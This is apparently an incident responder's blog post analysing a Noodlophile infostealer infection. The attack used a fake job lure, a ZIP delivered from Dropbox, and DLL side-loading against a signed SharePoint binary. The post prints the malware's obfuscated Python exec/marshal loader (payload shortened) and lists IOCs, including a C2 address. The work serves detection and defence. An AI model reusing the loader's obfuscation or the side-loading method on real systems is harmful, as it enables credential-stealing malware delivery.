# Anatomy of a Noodlophile Infection

## Summary

This blog post provides a post-mortem analysis of a single host compromise resulting from a successful multi-stage phishing attack, which I triaged and investigated. The attack leveraged a fake job opportunity to lure the victim into executing a malicious payload via DLL side-loading.

The infection exhibited distinct characteristics shared with Python-based info stealers commonly attributed to Vietnamese cybercriminal groups, such as [Noodlophile](https://www.morphisec.com/blog/noodlophile-stealer-evolves-targeted-copyright-phishing-hits-enterprises-with-social-media-footprints/), [PXA Stealer](https://www.sentinelone.com/labs/ghost-in-the-zip-new-pxa-stealer-and-its-telegram-powered-ecosystem/), and [NodeStealer](https://www.trendmicro.com/en_gb/research/24/l/python-based-nodestealer.html). Key overlaps include social engineering via LinkedIn lures, Google Form job applications, ZIP archive delivery via Dropbox, DLL side-loading using signed Windows binaries, second-stage execution via a staged Python runtime, registry persistence, and [retaliatory anti-analysis padding referencing security firm Morphisec](https://www.morphisec.com/blog/noodlophile-stealer-when-cybercriminals-get-a-bit-salty/).

These tactics align closely with an [October 2025 report by Google’s Threat Intelligence Group (GTIG)](https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns) detailing a large-scale phishing campaign conducted by a cluster of financially motivated threat actors operating from Vietnam, tracked as **UNC6229**. In that campaign, attackers deployed fraudulent job listings and skill assessment tests on legitimate recruitment platforms to target digital marketing and advertising personnel with multi-stage stealers and Remote Access Trojans (RATs).

![](https://cdn.hashnode.com/uploads/covers/6a30902126854a5c08489c7a/3e4d65ca-c285-4a4c-91ae-93b8ff4a7d85.png align="center")

## Context & Initial Access

### Initial EDR Detection

The compromise was revealed after an EDR detection fired for post-exploitation process injection activity. Falcon overwatch (CrowdStrike's paid threat hunting service later triggered a detection on `pythonw.exe` as the root of the post-exploitation behaviour.

The process tree present in the detections indicated that the activity stemmed from a suspiciously named executable "Salary and Benefits.exe". A review of this binary and how it was written to disk led to the discovery of the ZIP archive lure and initial access vector.

![](https://cdn.hashnode.com/uploads/covers/6a30902126854a5c08489c7a/e8e21c6e-f0ce-4d57-a3c1-110f0816f362.png align="center")

### The Lure

The victim was phished under the pretext of a fake job offer to a U.S based defense contractor. The pretext was delivered to the victim via LinkedIn, where they were directed by the threat actor via direct messages to a google form masquerading as a job application. The victim was then further instructed to download a ZIP archive hosted on Dropbox, which "contained relevant information about the prospective job".

The ZIP lure contained six files; however, three of these files had the following attributes set:

*   **S** = System
    
*   **H** = Hidden
    
*   **R** = Read-only
    

![](https://cdn.hashnode.com/uploads/covers/6a30902126854a5c08489c7a/975c8e96-c9d4-4540-b2b6-6f535a1981a2.png align="center")

When the `System` and `Hidden` attributes are set in combination on a file, Windows File Explorer will hide the files by default, even if the **"Show hidden items"** option is enabled. Tech-savvy users who enable this option to reveal hidden files will often leave the **"Hide protected operating system files (Recommended)"** option enabled, which continues to prevent these files from being displayed.

This technique allows threat actors to conceal payload files from users while leaving the decoy documents visible, increasing the likelihood that the victim interacts with the intended executable.

## Analysis

At the time of triage, it was observed the SHA256 hash for the initial executable "`Salary & Benefits.exe`" represented a legitimate signed Microsoft Windows victim application [Microsoft.Sharepoint.exe](https://www.virustotal.com/gui/file/e60134d5e7774c5d7e35f2de0f81bf5ad07d8b1bd93e32112be12a12291293ec/details). A team member quickly suggested DLL side-loading, which seemed a likely scenario given the ZIP archive delivery context.

[DLL Side-loading (T1574.001)](https://attack.mitre.org/techniques/T1574/001/) positions a victim application and malicious DLL payload(s) alongside each other in order to abuse [the search order that Windows uses to load DLLs](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order), this will cause Windows to load the malicious DLL when it is called for by the victim program.

A search for the term "Microsoft.Sharepoint.exe" on [https://hijacklibs.net](https://hijacklibs.net/#microsoft.sharepoint.exe) revealed two documented entries that could be used for side-loading, `version.dll` and `secur32.dll`. These filenames however, were not written to disk by the unzipped archive, instead two DLL files; `file.dll` and `USERENV.dll` were written alongside the signed `Microsoft.Sharepoint.exe` executable.

### DLL Side-loading Payload: USERENV.dll

A review of `file.dll`'s SHA256 [hash on VirusTotal](https://www.virustotal.com/gui/file/7323a7e1c78e20283e0f9b1bacb8f5b6d5edd3900b039a5a47f2682a5e6e2728) revealed that the file is a renamed copy of the legitimate Windows DLL `USERENV.dll`, while the file `USERENV.dll` was actually a malicious side-loading payload masquerading as the legitimate copy.

DLL side-loading attacks often additionally include a copy of the original DLL to preserve the victim application's normal functionality during code execution. Rather than replacing the library outright, the malicious DLL acts as a proxy: it executes its payload, then forwards API calls to the legitimate DLL so that the application continues to operate normally. This particular technique is known as "DLL Substitution".

Static analysis of `USERENV.dll`'s Portable Executable (PE) attributes in [Detect It Easy](https://github.com/horsicq/detect-it-easy) revealed a compilation timestamp of `2026-07-26 03:27:41`, a file size of `80.00 MiB`. This is an extremely large file size in contrast with the legitimate `userenv.dll` (renamed as `file.dll` on disk) whose size is `216 kb`.

Detect It Easy identified a likely compressed or packed overlay of `0x04FF8E00` bytes (`83.89` MB in decimal or `80.00` MiB in binary) with an extremely high entropy of score of 8.00. A PE overlay is data appended to the very end of a Portable Executable file, when the Operating Systems' loader maps a process into memory, only the headers and mapped sections are read. However once running, the process can theoretically open a file handle to its own disk image and extract whatever data is stored in that overlay.

![](https://cdn.hashnode.com/uploads/covers/6a30902126854a5c08489c7a/0c97109b-dd4f-4dfe-a8fa-da703db17546.png align="center")

The side-loaded DLL acted as a dropper for a staging folder `C:\ProgramData\TrojanHouse` which contained a full Python 3.10 interpreter installation, this was followed by the execution of `pythonw.exe` (a legitimate executable used to run Python scripts silently in the background without opening a command prompt window) against a malicious script `C:\ProgramData\TrojanHouse\Lib\Image.csv` masquerading as a legitimate `.csv` file. The malicious script then implemented persistence via a run key `MicrosoftEdgeSyscalls_Updates` in the user's registry hive.

![](https://cdn.hashnode.com/uploads/covers/6a30902126854a5c08489c7a/da2b5e38-99bb-4eef-9e5a-acfb272ebe9a.png align="center")

### Second Stage: Python-based Malware

Inspection of the malicious `Image.csv` python script revealed the following contents (although not as beautifully formatted):

```python
try:
	j=44;
	z=__builtins__;
	c=getattr(z,b'\x67\x65\x74\x61\x74\x74\x72'.decode());
	F=c(z,b'\x65\x78\x65\x63'.decode());
	n=c(z,b'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f'.decode());
	i=lambda q:None;
	R=getattr(__import__(b'\x6d\x61\x72\x73\x68\x61\x6c'.decode()), b'\x6c\x6f\x61\x64\x73'.decode())(getattr(__import__(b'\x7a\x6c\x69\x62'.decode()), b'\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73'.decode())(getattr(__import__(b'\x62\x7a\x32'.decode()), b'\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73'.decode())(getattr(__import__(b'\x62\x61\x73\x65\x36\x34'.decode()), b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
	F(R)
except Exception as e:
    print(e)
```

> NOTE: The large blob of bytes towards the bottom of the script has been significantly shortened for brevity.

The script uses Hexadecimal byte encoding to define variables for obfuscation purposes. Converting the hexadecimal encoding to ASCII and replacing the obfuscated variables with their defined values reveals the script's true functionality - dynamically resolving dangerous built-in and imported functions from compression and encoding libraries; `exec`, `marshal.loads()`, `zlib.decompress()`, `bz2.decompress()`, `base64.b85decode()`.

```python
try:
	j=44;
	z=__builtins__;
	c=getattr(__builtins__, "getattr");
	F=getattr(__builtins__, "exec");
	n=getattr(__builtins__, "__import__");
	i=lambda q:None;
	
	R=marshal.loads(zlib.decompress(bz2.decompress(base64.b85decode(b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
	
	F(R)

except Exception as e:
    print(e)
```

Using the dynamically resolved import functions, the script decodes, decompresses and then deserializes a large block of bytes. Once deserialized by `marshal.loads()`, this variable `R` represents a Python code object - compiled, low-level bytecode that is then executed by the variable `F` (a dynamically resolved reference to the built-in `exec()` function).

By removing execution of the deserialized payload from the script `F(R)`, we can safely save the decoded python bytecode as a `.pyc` file for further analysis. The deserialized object produced by `marshal.loads()` does not have to be saved to a file and can instead be analysed by directly modifying the malicious script, however saving the object as a `.pyc` file can be helpful to keep track of the de-obfuscation process and produce further copies of the payload.

To save the object to a valid `.pyc` file, we must provide the magic bytes and file headers for the corresponding Python version of the code object. Given the python environment that was packaged for this infection (Python 3.10), the format will be:

```plaintext
Offset  Size    Purpose
0       4       Magic number
4       4       bitfield flags
8       8       Timestamp + Source size
16      /       Code
```

```python
import marshal
import struct

try:
	j=44;
	z=__builtins__;
	c=getattr(__builtins__, "getattr");
	F=getattr(__builtins__, "exec");
	n=getattr(__builtins__, "__import__");
	i=lambda q:None;
	
	payload=marshal.loads(zlib.decompress(bz2.decompress(base64.b85decode(b'\x62\x38\x35\x64\x65\x63\x6f\x64\x65'.decode())(b'LRx4!F+o`-Q(5MFc!>hbB>(^a|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsC0|NsB!$$)(NA4Uq^=Waf|<vpzKz1<e~-&XebZ*Pvgv^;%%U6)&}Y`1*d-uvzK-+JipvU}#~>3!URE8ly*KI^{5yUm)}-t)NnIo8j6%=+uQRoh+no>RMhx!2x+Q+qrwU3$HSin;dt+vnEw-nI5lJ@0pY?%!SJ`rV&>&GpZ{?R&Rd@4d_HZ++L>zP|fgefPK9-+OAGZ=3A;HE(-+Zui~2^}Bt`y-vHW_oq+2>pQ*oz0Y5H+r0PNUE4Kwxy|?5b)~m`yU(t5pKVcX-+lMK_q*HP?w@CT_T965)Ox$i66(I@?Q7qA*J{1DX9L~tdirm(q4&4dyWV~5dhTyqyK_xGy}irrdwOfTz3;O0SJroTt@VlC`OQ^Z-(K$f*W13f`|fwv_g=R?RrUARd&TzOR=lgd&G%mKy}Vtvocp)k-rK(C$DP{l`QGmDyw0xPyXtSfPm{X0+uk?3?{s$ieCFHVZ%;2S-LZm~VcDN%j_&krdiv?UyWaX@w_j~e+j;WOz4y0`_V=y5_'))))
	
	with open("payload.pyc", "wb") as f:
		# Writes the Python 3.10 bytecode magic number
		f.write(b'\x6f\x0d\x0d\x0a')
	    
	    # Writes 12 bytes worth of header fields
	    f.write(struct.pack("<I", 0))
	    f.write(struct.pack("<I", 0))
	    f.write(struct.pack("<I", 0))
	    
	    # Serialises the payload object back into the .pyc file 
	    marshal.dump(payload, f)

except Exception as e:
    print(e)
```

Python has a built-in bytecode disassembler module `dis` that can be used to disassemble Python bytecode into a more understandable form. Although not returning the original source code, it allows analysts to view the operations performed by the code.

The below command loads the bytecode from a `.pyc` file and disassembles it, revealing operations and strings used in the malware:

```zsh
python -m dis payload.pyc > disassembled_bytecode.txt
```

We can also use a specialized decompiler tool ([Decompyle++](\(https://github.com/zrax/pycdc\))) to attempt a source code translation:

```zsh
./pycdc payload.pyc -o decompiled_bytecode.txt
```

The pseudo-source code reveals a further obfuscated python script containing a large base64 encoded data blob, which when decoded shows a significant amount of anti-analysis padding and several interesting strings:

```plaintext
_author:ngocuyencoder
<lol haha morphisec>
fuckyou
vaichuongcacem
```

These strings represent a textbook example of the retaliatory Noodlophile information stealer. The Noodlophile stealer originally gained traction in May 2025 by masquerading as fake AI video generation tools on social media. After security firm Morphisec published a [detailed analysis](https://www.morphisec.com/blog/noodlophile-stealer-evolves-targeted-copyright-phishing-hits-enterprises-with-social-media-footprints/) of the malware's operations, the developers retaliated by updating their code with vulgar Vietnamese phrases and direct taunts aimed at Morphisec.

The "\_author" string is also particularly interesting. A quick google search for "ngocuyencoder" reveals a [Youtube channel](https://www.youtube.com/@hnu1907/featured) and a [Github profile](https://github.com/hngocuyen) with the name set to "vuongtiendat aka ngocuyencoder" and multiple Abstract Syntax Tree (AST) Python obfuscation projects: [velimatix-obfuscator](https://github.com/hngocuyen/velimatix-obfuscator), [enjuly19](https://github.com/hngocuyen/enjuly19), [pymsx](https://github.com/hngocuyen/pymsx)

## Indicators of Compromise (IOCs)

| **Indicator** | **Type** | **Context** |
| --- | --- | --- |
| `0627318f8a8ed95776f02e93b2d4f34ef98cf81a8b03e827dcaffacd45a1dd62` | SHA256 Hash | The malicious `USERENV.dll` that was used in the DLL side-loading attack against `Microsoft.Sharepoint.exe`. |
| `ff17605daa79e10acf07bae8173ca83d1fad663b44151d05dc6a481b9303f5fb` | SHA256 Hash | The Malicious Python script `C:\ProgramData\TrojanHouse\Lib\Image.csv` masquerading as a CSV file. |
| `46f3601b5b257456b1509a853cfb2c0f4c5f1d734192b2ea94c76b247da932a6` | SHA256 Hash | The `winhttp2` file present in the ZIP archive. |
| `C:\ProgramData\TrojanHouse\*` | File Path | A staging location created by the initial dropper DLL for the purpose of a full Python installation. |
| `"C:\ProgramData\TrojanHouse\pythonw.exe C:\ProgramData\TrojanHouse\Lib\Image.csv AntelopeHerd"` | Process Execution | Execution string launching the payload with argument `AntelopeHerd`. |
| `MicrosoftEdgeSyscalls_Updates` | Registry Key | Persistence mechanism created by the malicious Python script under `CurrentVersion\Run` in `NTUSER.dat`. |
| `206[.]206[.]78[.]16:56001` | IP / Port | Command and Control (C2) address. |
| `hxxps[://]uce50de5140959b1073170adb671[.]dl[.]dropboxusercontent[.]com/cd/0/get/DFITFB_eAsJjuz5S33WszYIsYV85yEC7a2CVNe3sAJg5PPMJR5gHwDRqOlu-h5K-KZHpf1QIlBCC25Ge5xdTW7EF2AfAJP3GNtC9a2Somp3uHg_MN0dToFCb-95mi7H02sl9dE7whUJU42eMvfUsgkcd/file?dl=1#` | URL | Dropbox URL hosting the ZIP archive phishing payload. |

## References

1.  MITRE ATT&CK Technique: T1574.001 — DLL Search Order Hijacking https://attack.mitre.org/techniques/T1574/001/
    
2.  HijackLibs — Microsoft.Sharepoint.exe DLL Side-loading Entries https://hijacklibs.net/#microsoft.sharepoint.exe
    
3.  Microsoft — Dynamic-Link Library Search Order https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
    
4.  Morphisec — Noodlophile Stealer Evolves: Targeted Copyright Phishing Hits Enterprises with Social Media Footprints https://www.morphisec.com/blog/noodlophile-stealer-evolves-targeted-copyright-phishing-hits-enterprises-with-social-media-footprints/
    
5.  Morphisec — Noodlophile Stealer: When Cybercriminals Get a Bit Salty https://www.morphisec.com/blog/noodlophile-stealer-when-cybercriminals-get-a-bit-salty/
    
6.  SentinelOne — Ghost in the ZIP: New PXA Stealer and Its Telegram-Powered Ecosystem https://www.sentinelone.com/labs/ghost-in-the-zip-new-pxa-stealer-and-its-telegram-powered-ecosystem/
    
7.  Trend Micro — Python-Based NodeStealer https://www.trendmicro.com/en\_gb/research/24/l/python-based-nodestealer.html
    
8.  Google Cloud Threat Intelligence Group — Vietnamese Actors Use Fake Job Posting Campaigns to Target Victims https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns
